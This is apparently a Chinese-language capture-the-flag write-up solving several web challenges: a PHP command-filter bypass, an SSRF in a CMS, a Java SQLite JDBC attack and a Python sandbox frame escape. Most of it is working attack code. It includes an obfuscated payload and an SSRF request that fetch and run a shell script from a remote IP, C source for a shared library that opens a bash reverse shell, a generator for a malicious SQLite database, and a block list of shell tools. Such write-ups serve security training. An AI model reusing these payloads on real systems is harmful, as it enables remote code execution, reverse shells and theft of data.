simple_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0);
if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } }
show_source(__FILE__); ?>
|
这个open_basedir是一点用没有的。最终payload可以利用eval
xxx配合`\`反斜杠去绕过关键字就可以 `cmd=eval `ec\ho Y3VybCBo\dHRwOi8vOC4xMzAuMjQuMTg4OjgwMDAvMS5zaHxzaA==|base\64 -d|s\h
反弹shell过后发现没有flag文件,查看ps -ef
发现存在mysql,上线cs平台后mysql -uroot -proot直接连进去读flag了
easycms
dirsearch可以扫出flag.php,内容后面给了hint
1 2 3 4 5 6 7 8 9 10 11 12 13
| if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
|
也就是说让我们找到一个ssrf的点位就行了。
源码审计发现down_img路由存在ssrf漏洞
但是我们要满足一个正则/(src)=([\"|']?)([^ \"'>]+)\\2/i"
,这个正则的含义其实也就是标签的内容,example:<img src="http://xxx?cmd=whoami"/>
这个路由原本是用来识别img标签里的src位置的,但我们可控输入所以就造成了ssrf,最终poc
value=<img src="[http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh"](http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh") alt="Example Image">
发送请求后vps收到请求
最终拿到flag
ezjava
考点是Java的Jdbc Attack对应的Sqlite部分。
虽然题目给了3个JDBC服务,但其实可以利用的只有sqlite,目的是rce。注意到开启了extension_enable选项
开启了拓展支持,并且已经有了相关的攻击面文章
https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
在这个ppt里我们知道如何去加载远程的db文件。首先我们开启远程debug调试一下看看逻辑。
这边会取resourceAddr的hashcode加上指定的前缀作为最终的缓存文件名。那么我们的思路就是利用这个特性缓存一个恶意的so文件,这是第一次请求。
恶意so文件制作过程如下
1 2 3 4 5 6 7 8 9 10 11 12
| #include <stdio.h> #include <unistd.h> #include <stdlib.h>
void flag() {{ system("bash -c 'bash -i >& /dev/tcp/8.130.24.188/7778 <&1'"); }}
void space() {{ static char waste[500 * 1024] = {{2}}; }}
|
gcc -shared -fPIC exp.c -o exp.so
最后我们使用load_extension(‘xxx’,’flag’)函数就会加载flag方法,成功的触发反弹shell了。
第二次请求我们就去加载这个恶意so文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.javasec.pocs.solutions.ciscn; import java.io.File; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.Statement;
public class Gen { public static void main(String[] args) {
try { String dbFile = "poc.db"; File file = new File(dbFile); Class.forName("org.sqlite.JDBC"); Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile); System.out.println("Opened database successfully");
String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-1914716480.db','flag'));"; PreparedStatement preStmt = conn.prepareStatement(sql);
preStmt.executeUpdate(); preStmt.close(); conn.close();
} catch (Exception e) { e.printStackTrace(); }
} }
|
我们生成恶意db文件的脚本如上,可以看到我们创建了一个security表,然后用到了as SELECT语句。(security表用的是ppt里的,直接复制粘贴了)
然后我们发起请求就会触发select语句
然后就开始实操。首先先让目标缓存一下我们的so文件
然后我们再去加载恶意db,触发指定的sql语句。
最终获取flag
mossfern
yjail frame帧逃逸
https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3Dd8bgh8wiD#toc-5
参考上述文章
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /api/run HTTP/1.1 Host: eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Origin: http://eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com Referer: http://eci-2zeflmaf18usxi7ngaav.cloudeci1.ichunqiu.com/ Accept: application/json, text/plain, */* Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1713496688,1713681080,1715993802 Content-Length: 199
{"code":"def boogipop():\n def exp():\n yield pop.gi_frame.f_back.f_back.f_back\n pop = exp()\n for exp in pop:\n boo=exp\n return boo\nkino=boogipop()\nprint(kino)"}
|
可以看到已经获取到了f_code对象,根据文章中所说到的
f_code存在co_consts对象。
但是在本地测试的时候发现由于结果出现了flag字眼就会被拦截,这里其实很好绕过。
因为是全字符串检测,我们字符串截取部分自然就可以返回flag
1 2 3 4 5 6 7 8 9
| def boogipop(): def exp(): yield pop.gi_frame.f_back.f_back.f_back pop = exp() for exp in pop: boo=exp return boo kino=boogipop() print(kino.f_code.co_consts[19][1:])
|
easycms_revenge
和第一天的都一样
value=<img src="[http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh"](http://127.0.0.1/flag.php?cmd=curl%24IFS%249http%3A%2F%2F8.130.24.188%3A8000%2F1.sh%7Csh") alt="Example Image">
发送请求后vps收到请求
最终拿到flag